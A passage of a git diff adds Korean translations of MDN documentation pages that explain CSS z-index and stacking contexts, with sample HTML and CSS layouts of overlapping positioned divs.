+  <strong>Note:</strong> 일반적인 HTML 계층 구조가 쌓임 맥락 계층 구조와 다르다는걸 상기하자. 쌓임 맥락을 만들지 않는 엘리먼트들은 쌓임 맥락 계층 구조에서 사라진다. </div>
+<h3 id="예제_소스_코드"><strong>예제 소스 코드</strong></h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div2 { z-index: 2; }
+#div3 { z-index: 1; }
+#div4 { z-index: 10; }
+
+#div1,#div3 {
+   height: 80px;
+   position: relative;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#div2 {
+   opacity: 0.8;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 20px;
+   left: 170px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#div4 {
+   opacity: 0.8;
+   position: absolute;
+   width: 200px;
+   height: 70px;
+   top: 65px;
+   left: 50px;
+   border: 1px dashed #000099;
+   background-color: #ddddff;
+   text-align: left;
+   padding-left: 10px;
+}
+
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;
+
+&lt;div id="div1"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+&lt;br /&gt;position: relative;
+   &lt;div id="div2"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+   &lt;br /&gt;position: absolute;
+   &lt;br /&gt;z-index: 2;
+   &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;br /&gt;
+
+&lt;div id="div3"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+&lt;br /&gt;position: relative;
+&lt;br /&gt;z-index: 1;
+   &lt;div id="div4"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+   &lt;br /&gt;position: absolute;
+   &lt;br /&gt;z-index: 10;
+   &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+  <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+  <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level</li>
+</ul>
+<div class="originaldocinfo">
+  <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+  <ul>
+    <li>Author(s): Paolo Lombardi</li>
+    <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+    <li>Last Updated Date: July 9th, 2005</li>
+  </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_2" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html
new file mode 100644
index 0000000000..d632745924
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html
@@ -0,0 +1,167 @@
+---
+title: 쌓임 맥락 예제3
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <span class="title"><a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index">CSS z-index 이해하기</a></span></p>
+<h3 id="쌓임_맥락_예제3">쌓임 맥락 예제3</h3>
+<p>마지막 예제는 멀티 레벨 HTML 계층 구조에서 z-index 속성 값을 지정할때 생기는 문제에 대해 다룰 것이다. </p>
+<p>몇개의 position 속성 값이 지정된 3-레벨 계층 메뉴를 생각하자. 두번째 레벨과 세번째 레벨의 메뉴는 그들의 부모에 마우스를 갖다 대거나 클릭했을 때 보인다. 이 메뉴를 클래스 선택자를 통해 스타일링 해보자. </p>
+<p>만약 세 메뉴가 부분적으로 겹친다면 쌓임을 해결하는 것이 문제가 된다. </p>
+<p><img alt="Stacking context example 3" class="internal" src="/@api/deki/files/918/=Understanding_zindex_07.png"></p>
+<p>첫번째 레벨 메뉴는 position 속성 값만이 relative로 지정되어있다. 따라서 이는 쌓임 맥락을 형성하지 않는다. (역자: z-index 속성 값을 지정하지 않았다.) </p>
+<p>두번째 레벨 메뉴는 position 속성 값이 absolute로 지정되었다. 두번째 레벨 메뉴를 모든 첫번째 레벨 메뉴보다 위에 두기 위해서 z-index 속성 값이 사용되었다. 따라서 모든 두번째 레벨 메뉴에 쌓임 맥락이 생성되고 세번째 레벨 메뉴는 부모의 쌓임 맥락에 속하게 된다. </p>
+<p>따라서 세번째 레벨 메뉴는 그 부모의 다음 두번째 레벨 메뉴 아래에 놓이게 된다. 왜냐하면 모든 두번째 레벨 메뉴는 같은 z-index 속성 값을 가지고 기본 쌓임 규칙을 적용받기 때문이다. (역자: 같은 z-index 속성 값을 가지는 형제 엘리먼트들은 HTML 문서상에서 나중에 등장한 것이 위에 쌓인다.)</p>
+<p>이 상황을 더 잘 이해하기 위해 쌓임 맥락 계층 구조를 그려보자.</p>
+<ul>
+  <li>뿌리 엘리먼트 쌓임 맥락
+    <ul>
+      <li>LEVEL #1
+        <ul>
+          <li>LEVEL #2 (z-index: 1)
+            <ul>
+              <li>LEVEL #3</li>
+              <li>...</li>
+              <li>LEVEL #3</li>
+            </ul>
+          </li>
+          <li>LEVEL #2 (z-index: 1)</li>
+          <li>...</li>
+          <li>LEVEL #2 (z-index: 1)</li>
+        </ul>
+      </li>
+      <li>LEVEL #1</li>
+      <li>...</li>
+      <li>LEVEL #1</li>
+    </ul>
+  </li>
+</ul>
+<p>이 문제를 해결하는 방법에는 1) 서로 다른 메뉴를 겹치지 않게 배치하기, 2) 클래스 선택자 뿐만 아니라 id 선택자를 이용하여 각각의 엘리먼트에 z-index 속성 값을 지정하기, 3) HTML 구조를 단순화하여 멀티 레벨 메뉴를 사용하지 않기 등이 있다. </p>
+<div class="note">
+  <strong>노트:</strong> 소스 코드에는 두번째 레벨 메뉴와 세번째 레벨 메뉴들이 position 속성이 absolute로 지정된 컨테이너에 싸여있는 것을 볼 수 있다. 이는 여러개의 엘리먼트들의 위치를 한꺼번에 지정하는데 유용하다. </div>
+<h3 id="예제_소스_코드"><strong>예제 소스 코드</strong></h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+div.lev1 {
+   width: 250px;
+   height: 70px;
+   position: relative;
+   border: 2px outset #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#container1 {
+   z-index: 1;
+   position: absolute;
+   top: 30px;
+   left: 75px;
+}
+
+div.lev2 {
+   opacity: 0.9;
+   width: 200px;
+   height: 60px;
+   position: relative;
+   border: 2px outset #990000;
+   background-color: #ffdddd;
+   padding-left: 5px;
+}
+
+#container2 {
+   z-index: 1;
+   position: absolute;
+   top: 20px;
+   left: 110px;
+}
+
+div.lev3 {
+   z-index: 10;
+   width: 100px;
+   position: relative;
+   border: 2px outset #000099;
+   background-color: #ddddff;
+   padding-left: 5px;
+}
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+
+   &lt;div id="container1"&gt;
+
+      &lt;div class="lev2"&gt;
+      &lt;br /&gt;&lt;span class="bold"&gt;LEVEL #2&lt;/span&gt;
+      &lt;br /&gt;z-index: 1;
+
+         &lt;div id="container2"&gt;
+
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+
+         &lt;/div&gt;
+
+      &lt;/div&gt;
+
+      &lt;div class="lev2"&gt;
+      &lt;br /&gt;&lt;span class="bold"&gt;LEVEL #2&lt;/span&gt;
+      &lt;br /&gt;z-index: 1;
+      &lt;/div&gt;
+
+   &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+  <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+  <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+</ul>
+<p> </p>
+<div class="originaldocinfo">
+  <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+  <ul>
+    <li>Author(s): Paolo Lombardi</li>
+    <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+    <li>Last Updated Date: July 9th, 2005</li>
+  </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_3" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html
new file mode 100644
index 0000000000..04e826dc17
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html
@@ -0,0 +1,145 @@
+---
+title: z-index가 없는 경우의 쌓임
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">CSS z-index 이해하기</span></a></p>
+<h3 id="z-index가_없는_경우의_쌓임">z-index가 없는 경우의 쌓임</h3>
+<p>만약 모든 엘리먼트들에 z-index가 지정되지 않았을 경우에는 엘리먼트들이 다음 순서로 아래에서부터 위로 쌓인다.</p>
+<ol>
+  <li>뿌리 엘리먼트의 배경과 테두리</li>
+  <li>자식 엘리먼트들은 HTML에서 등장하는 순서대로 </li>
+  <li>position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 </li>
+</ol>
+<p>다음 예제에는 위의 쌓임 규칙을 설명하기 위한 적당한 크기의 엘리먼트들이 준비되어있다. </p>
+<div class="note">
+  <p><strong>노트:</strong></p>
+  <ul>
+    <li>주어진 동일한 엘리먼트들의 그룹은 모두 z-index가 설정되지 않았다. DIV #1 부터 DIV #4 까지는 position 속성이 설정되었다. 엘리먼트의 position속성 값과는 상관 없이 HTML 계층 구조대로 쌓임을 알 수 있다. </li>
+    <li>
+      <p>position 속성이 지정되지 않은 블록(DIV #5)은 항상 position이 지정된 엘리먼트 이전에 렌더링 된다. 따라서 position이 지정된 엘리먼트 아래에 보인다. 설령 HTML 문서상에서 먼저 나오더라도 position이 지정되지 않은 엘리먼트는 지정된 엘리먼트보다 아래에 보인다. </p>
+    </li>
+  </ul>
+</div>
+<p><img alt="understanding_zindex_01.png" class="internal default" src="/@api/deki/files/910/=understanding_zindex_01.png"></p>
+<p> </p>
+<h3 id="Example" name="Example">예제</h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div {
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+   height: 70px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv1 {
+   opacity: 0.7;
+   height: 100px;
+   position: relative;
+   top: 30px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv2 {
+   opacity: 0.7;
+   height: 100px;
+   position: relative;
+   top: 15px;
+   left: 20px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#absdiv1 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   left: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#absdiv2 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   right: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;&lt;br /&gt;
+
+&lt;div id="absdiv1"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+   &lt;br /&gt;position: absolute;
+&lt;/div&gt;
+
+&lt;div id="reldiv1"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+   &lt;br /&gt;position: relative;
+&lt;/div&gt;
+
+&lt;div id="reldiv2"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+   &lt;br /&gt;position: relative;
+&lt;/div&gt;
+
+&lt;div id="absdiv2"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+   &lt;br /&gt;position: absolute;
+&lt;/div&gt;
+
+&lt;div id="normdiv"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #5&lt;/span&gt;
+   &lt;br /&gt;no positioning
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+  <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+  <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level<span id="cke_bm_94E" style="display: none;"> </span></li>
+</ul>
+<p> </p>
+<div class="originaldocinfo">
+  <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+  <ul>
+    <li>Author(s): Paolo Lombardi</li>
+    <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+    <li>Last Updated Date: July 9th, 2005</li>
+  </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_sans_z-index" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html
new file mode 100644
index 0000000000..0e55368fa2
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html
@@ -0,0 +1,240 @@
+---
+title: 쌓임 맥락
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
+tags:
+  - Advanced
+  - CSS
+  - Guide
+  - Reference
+  - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong>쌓임 맥락</strong>(stacking context)은 가상의 Z축을 사용한 HTML 요소의 3차원 개념화입니다.</span> Z축은 사용자 기준이며, 사용자는 뷰포트 혹은 웹페이지를 바라보고 있을 것으로 가정합니다. 각각의 HTML 요소는 자신의 속성에 따른 우선순위를 사용해 3차원 공간을 차지합니다.</p>
+
+<h2 id="쌓임_맥락">쌓임 맥락</h2>
+
+<p>이전 글 <a href="/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index">z-index 사용하기</a>에서 보았듯, 특정 요소의 렌더링 순서는 자신의 <code>z-index</code> 속성 값에 영향을 받습니다. 이는 그 요소들이 가진 특별한 속성으로 인해 <strong>쌓임 맥락</strong>이 생성되기 때문입니다.</p>
+
+<p>쌓임 맥락은, 문서 어디에서나, 다음 조건을 만족하는 요소가 생성합니다.</p>
+
+<ul>
+ <li>문서의 루트 요소. (<code>&lt;html&gt;</code>)</li>
+ <li>{{cssxref("position")}}이 <code>absolute</code> 또는 <code>relative</code>이고, {{cssxref("z-index")}}가 <code>auto</code>가 아닌 요소.</li>
+ <li>{{cssxref("position")}}이 <code>fixed</code> 또는 <code>sticky</code>인 요소. (<code>sticky</code>는 모든 모바일 브라우저에서는 해당하지만 구형 데스크톱 브라우저에서는 해당하지 않음)</li>
+ <li>플렉스({{cssxref("flexbox")}}) 컨테이너의 자식 중 {{cssxref("z-index")}}가 <code>auto</code>가 아닌 요소.</li>
+ <li>그리드({{cssxref("grid")}}) 컨테이너의 자식 중 {{cssxref("z-index")}}가 <code>auto</code>가 아닌 요소.</li>
+ <li>{{cssxref("opacity")}}가 1보다 작은 요소. (<a href="http://www.w3.org/TR/css3-color/#transparency">불투명도 명세</a> 참고)</li>
+ <li>{{cssxref("mix-blend-mode")}}가 <code>normal</code>이 아닌 요소.</li>
+ <li>다음 속성 중 하나라도 <code>none</code>이 아닌 값을 가진 요소.
+  <ul>
+   <li>{{cssxref("transform")}}</li>
+   <li>{{cssxref("filter")}}</li>
+   <li>{{cssxref("perspective")}}</li>
+   <li>{{cssxref("clip-path")}}</li>
+   <li>{{cssxref("mask")}} / {{cssxref("mask-image")}} / {{cssxref("mask-border")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("isolation")}}이 <code>isolate</code>인 요소.</li>
+ <li>{{cssxref("-webkit-overflow-scrolling")}}이 <code>touch</code>인 요소.</li>
+ <li>{{cssxref("will-change")}}의 값으로, 초깃값이 아닐 때 새로운 쌓임 맥락을 생성하는 속성을 지정한 요소.</li>
+ <li>{{cssxref("contain")}}이 <code>layout</code>, <code>paint</code>, 또는 둘 중 하나를 포함하는 값(<code>strict</code>, <code>content</code> 등)인 요소.</li>
+</ul>
+
+<p>쌓임 맥락 안의 자식 요소는 이전에 설명했던 규칙을 동일하게 사용해 쌓입니다. 중요한 것은, 자식의 <code>z-index</code> 값은 부모에게만 의미가 있다는 점입니다. 하나의 쌓임 맥락은 부모 쌓임 맥락 안에서 통째로 하나의 단위로 간주됩니다.</p>
+
+<p>요약하면,</p>
+
+<ul>
+ <li>쌓임 맥락이 다른 쌓임 맥락을 포함할 수 있고, 함께 계층 구조를 이룹니다.</li>
+ <li>쌓임 맥락은 형제 쌓임 맥락과 완전히 분리됩니다. 쌓임을 처리할 땐 자손 요소만 고려합니다.</li>
+ <li>각각의 쌓임 맥락은 독립적입니다. 어느 요소의 콘텐츠를 쌓은 후에는 그 요소를 통째 부모 쌓임 맥락 안에 배치합니다.</li>
+</ul>
+
+<div class="note"><strong>참고:</strong> 모든 요소가 쌓임 맥락을 생성하는 건 아니므로, 쌓임 맥락의 계층 구조는 HTML 요소 계층 구조의 부분집합입니다. 자신의 쌓임 맥락을 만들지 않은 요소는 '부모 쌓임 맥락에 의해 <strong>동화된다</strong>'라고 표현할 수 있겠습니다.</div>
+
+<h2 id="예시"><strong>예시</strong></h2>
+
+<p><img alt="Example of stacking rules modified using z-index" class="internal" src="/@api/deki/files/913/=Understanding_zindex_04.png"></p>
+
+<p>위의 예시에서, 모든 요소는 각자의 포지션과 <code>z-index</code>로 인해 자신의 쌓임 맥락을 형성합니다. 쌓임 맥락의 계층 구조는 다음과 같습니다.</p>
+
+<ul>
+ <li>루트
+  <ul>
+   <li>DIV #1</li>
+   <li>DIV #2</li>
+   <li>DIV #3
+    <ul>
+     <li>DIV #4</li>
+     <li>DIV #5</li>
+     <li>DIV #6</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>DIV #4, DIV #5, DIV #6은 DIV #3의 자식이므로, DIV #3 내부에서만 셋의 쌓임을 처리했다는 것을 이해하는게 중요합니다. DIV #3 내부의 요소의 쌓기와 렌더링이 끝난 후에는, 전체 DIV #3을 루트 요소의 쌓임 맥락 하에서 형제 DIV와 쌓습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong></p>
+
+<ul>
+ <li>DIV #4는 DIV #1보다 z-index 속성 값이 더 크지만 DIV #1보다 아래에 렌더링 되었다. 왜냐하면 DIV #1의 z-index 속성 값인 5는 뿌리 엘리먼트의 쌓임 맥락 안에서 유효하나 DIV #4의 z-index 속성 값인 6은 DIV #3의 쌓임 맥락 안에서만 유효하기 때문이다. DIV #4는 자신이 속하는 DIV #3의 z-index 속성 값이 4이므로 DIV #1 아래에 쌓였다.</li>
+ <li>같은 이유로 DIV #2는 DIV #5 아래에 렌더링 되었다. DIV #5는 DIV #2보다 z-index 값이 작지만 뿌리 엘리먼트의 쌓임 맥락안에서 유효한 DIV #5가 속한 DIV #3의 z-index 값이 DIV #2의 z-index 값 보다 더 크기 때문이다.</li>
+ <li>DIV #3의 z-index 속성 값인 4는 DIV #4, DIV #5, DIV #6의 z-index 속성값과 독립적이다. 왜냐하면 다른 쌓임 맥락에 속해있기 때문이다.</li>
+ <li>렌더링 순서를 이해하는 쉬운 방법은 z-index를 "버전 번호" 처럼 생각하는 것이다. 자식 엘리먼트는 부모 엘리먼트 버전 번호의 마이너 버전이다. 이 방법은 왜 z-index가 1인 DIV #5가 z-index가 2인 DIV #2 위에 쌓였는지, z-index가 6인 DIV #4가 z-index가 5인 DIV #1 아래에 쌓였는지 이해하게 해준다. 우리 예제에서는
+  <ul>
+   <li>뿌리 엘리먼트
+    <ul>
+     <li>DIV #2 - z-index가 2</li>
+     <li>DIV #3 - z-index가 4
+      <ul>
+       <li>DIV #5 - z-index가 1인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.1이다.</li>
+       <li>DIV #6 - z-index가 3인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.3이다.</li>
+       <li>DIV #4 - z-index가 6인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.6이다.</li>
+      </ul>
+     </li>
+     <li>DIV #1 - z-index가 5</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate"><code>&lt;div id="div1"&gt;
+  &lt;h1&gt;Division Element #1&lt;/h1&gt;
+  &lt;code&gt;position: relative;&lt;br/&gt;
+  z-index: 5;&lt;/code&gt;
+&lt;/div&gt;
+
+&lt;div id="div2"&gt;
+  &lt;h1&gt;Division Element #2&lt;/h1&gt;
+  &lt;code&gt;position: relative;&lt;br/&gt;
+  z-index: 2;&lt;/code&gt;
+&lt;/div&gt;
+
+&lt;div id="div3"&gt;
+  &lt;div id="div4"&gt;
+    &lt;h1&gt;Division Element #4&lt;/h1&gt;
+    &lt;code&gt;position: relative;&lt;br/&gt;
+    z-index: 6;&lt;/code&gt;
+  &lt;/div&gt;
+
+  &lt;h1&gt;Division Element #3&lt;/h1&gt;
+  &lt;code&gt;position: absolute;&lt;br/&gt;
+  z-index: 4;&lt;/code&gt;
+
+  &lt;div id="div5"&gt;
+    &lt;h1&gt;Division Element #5&lt;/h1&gt;
+    &lt;code&gt;position: relative;&lt;br/&gt;
+    z-index: 1;&lt;/code&gt;
+  &lt;/div&gt;
+
+  &lt;div id="div6"&gt;
+    &lt;h1&gt;Division Element #6&lt;/h1&gt;
+    &lt;code&gt;position: absolute;&lt;br/&gt;
+    z-index: 3;&lt;/code&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</code></pre>
+
+<h3 id="Division_Element_.231" name="Division_Element_.231">CSS</h3>
+
+<pre class="brush: css notranslate"><code>* {
+  margin: 0;
+}
+html {
+  padding: 20px;
+  font: 12px/20px Arial, sans-serif;
+}
+div {
+  opacity: 0.7;
+  position: relative;
+}
+h1 {
+  font: inherit;
+  font-weight: bold;
+}
+#div1,
+#div2 {
+  border: 1px dashed #696;
+  padding: 10px;
+  background-color: #cfc;
+}
+#div1 {
+  z-index: 5;
+  margin-bottom: 190px;
+}
+#div2 {
+  z-index: 2;
+}
+#div3 {
+  z-index: 4;
+  opacity: 1;
+  position: absolute;
+  top: 40px;
+  left: 180px;
+  width: 330px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+  padding: 40px 20px 20px;
+}
+#div4,
+#div5 {
+  border: 1px dashed #996;
+  background-color: #ffc;
+}
+#div4 {
+  z-index: 6;
+  margin-bottom: 15px;
+  padding: 25px 10px 5px;
+}
+#div5 {
+  z-index: 1;
+  margin-top: 15px;
+  padding: 5px 10px;
+}
+#div6 {
+  z-index: 3;
+  position: absolute;
+  top: 20px;
+  left: 180px;
+  width: 150px;
+  height: 125px;
+  border: 1px dashed #009;
+  padding-top: 125px;
+  background-color: #ddf;
+  text-align: center;
+}</code></pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '100%', '396') }}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
